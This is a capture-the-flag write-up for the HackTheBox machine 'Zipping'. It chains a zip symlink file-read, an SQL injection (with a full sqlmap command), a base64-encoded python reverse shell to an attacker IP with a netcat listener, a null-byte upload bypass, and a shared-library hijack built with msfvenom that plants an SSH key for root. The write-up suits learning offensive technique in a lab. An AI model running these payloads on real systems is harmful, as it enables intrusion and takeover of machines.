..

HTB - Zipping

Summary

Zipping is a medium difficulty machine. The website has a zip symlink vulnerability, which allows us to read files on the server. From there, we have access to the source code, and discover an SQL injection vulnerability which allows us to get a shell. Getting root was a lot simpler, where we perform basic analysis on a binary to upload our own SSH key to gain access.

When I first did this box, there was an unintended solution where you could get a reverse shell directly through the zip file upload. This was eventually patched.

User

Nmap scan

nmap scan

gobuster

gobuster

We visit the website, and there are two pages of interest, the shop and “Work with Us”. The latter allows us to upload files, where it is expecting a zip file, and the content in the zipped file must have a PDF extension.

Because we know that website uses PHP, we try uploading a PHP script. Renaming a PHP file with .pdf extension and zipping it will bypass the check.

I wrote a PHP script to get /etc/passwd but it returned PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsgPz4K in the response. Throwing this into CyberChef shows that the website literally reads the file’s content and returns it in base64.

Base64 encoded response

Googling for zip-related vulnerabilities online, you will find something on symlinks. By exploiting the symlink zipfile vulnerability, we are able to read a file on the server when we do a web request.

To read /etc/passwd:

ln -s /etc/passwd passwd.pdf
zip --symlinks passwd.zip passwd.pdf

Upload the zip, and you will see /etc/passwd in the response.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false

We can now read other files on the server.

At this point, you can just read the user flag.

ln -s /home/rektsu/user.txt flag.pdf
zip --symlinks flag.zip flag.pdf

I did this manually and with a bit of guessing to get the code, but you should use a script for this.

<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

If we look at /var/www/html/shop/index.php, we see that the page will get another PHP file on the server by adding the page parameter. We can try this with ?page=../upload, it returns the page for uploading the zip file.

If we look at /var/www/html/shop/product.php, we can see that the regex filter does not check for newlines and the string must end with a digit.

<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

<?=template_header('Zipping | Product')?>

<div class="product content-wrapper">
    <img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
    <div>
        <h1 class="name"><?=$product['name']?></h1>
        <span class="price">
            &dollar;<?=$product['price']?>
            <?php if ($product['rrp'] > 0): ?>
            <span class="rrp">&dollar;<?=$product['rrp']?></span>
            <?php endif; ?>
        </span>
        <form action="index.php?page=cart" method="post">
            <input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
            <input type="hidden" name="product_id" value="<?=$product['id']?>">
            <input type="submit" value="Add To Cart">
        </form>
        <div class="description">
            <?=$product['desc']?>
        </div>
    </div>
</div>

<?=template_footer()?>

We test for SQL injection of the product page with the parameters:

  • ?page=product&id=1
  • ?page=product&id=test
  • ?page=product&id=%0a%d
  • ?page=product&id=%0a%d3

The 1st and 4th tests pass, and returns the product’s page, which means the id parameter is vulnerable.

Fire up sqlmap and we get a mysql shell.

sqlmap -u "http://zipping.htb/shop/index.php?page=product&id=1" --fresh-queries -prefix="%0A%0D" --sufix="'1" -p id --dbms mysql --level 2 --risk 2 --sql-shell --time-sec 1 --batch

We upload a reverse shell. I tried bash and PHP reverse shells, but they didn’t work. Using a python reverse shell worked.

select "<?php system('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjY3Iiw5MDAxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc|base64 -d|bash'); ?>" INTO OUTFILE '/var/lib/mysql/shell.php%00';

On our attacking machine:

nc -lvnp 9001

We can upload our own SSH key to the machine at this point.

On the attacking machine:

ssh-keygen -b 1024 -f rektsu

Then, write the public key to ~/.ssh/authorized_hosts on the machine.

SSH as user:

ssh -i rektsu rektsu@zipping.htb

Patched Unintended Solution

You can insert a null byte to the file name to get the server to execute PHP. Zipping file.php%00.pdf shows that %00 is not being interpreted as null byte character.

Null byte injection fail

We can insert a placeholder character, and use a hex editor to insert the null byte to bypass this. We name the file file.php4.pdf, and replace the hex byte value of 4 with 00.

Edit hex value to insert null byte

Before this was patched, you could upload a reverse shell using this method. I left this in here, because I thought it was interesting :D

Root

As usual, run sudo -l, and we see that we can run /usr/bin/stock as root. If we run this binary, it asks for a password. We download this to our host machine for analysis.

scp -i rektsu@zipping.htb:/usr/bin/stock .

Fire up Ghidra and decompile the main function.

Decompile main

We see that the password check is being handled by checkAuth. Decompile checkAuth, and you will find the password St0ckM4nager.

Decompile checkAuth

We enter the password, and see that we have options to see, and edit stocks. Nothing interesting here.

We use strace to look for interesting system calls.

write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024)         = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================

The binary is trying to call a library file at libcounter.so which does not exists.

We can exploit this by uploading our own libcounter.so to the machine.

Create the payload to upload our SSH to root:

msfvenom -p linux/x64/exec CMD="echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDcn+u2heXxxJjW+iabNfN/t3cCFuD5Vx3FDciQR+o51fE0Z27ncDfulF9PSMFPNL9W0eYUIUUE9jJa+8mXi9/CPnSnbr2VYYE19r2lpdmbCyRdH29up3F9Or1gBu6kWd99gYTrAna92DV1frUN88gZg7lIT8150/S6sF+lKxmqAw== > /root/.ssh/authorized_keys" -f elf-so -o libcounter.so

Then we can SSH into the machine as root with our created SSH key and get the flag.

References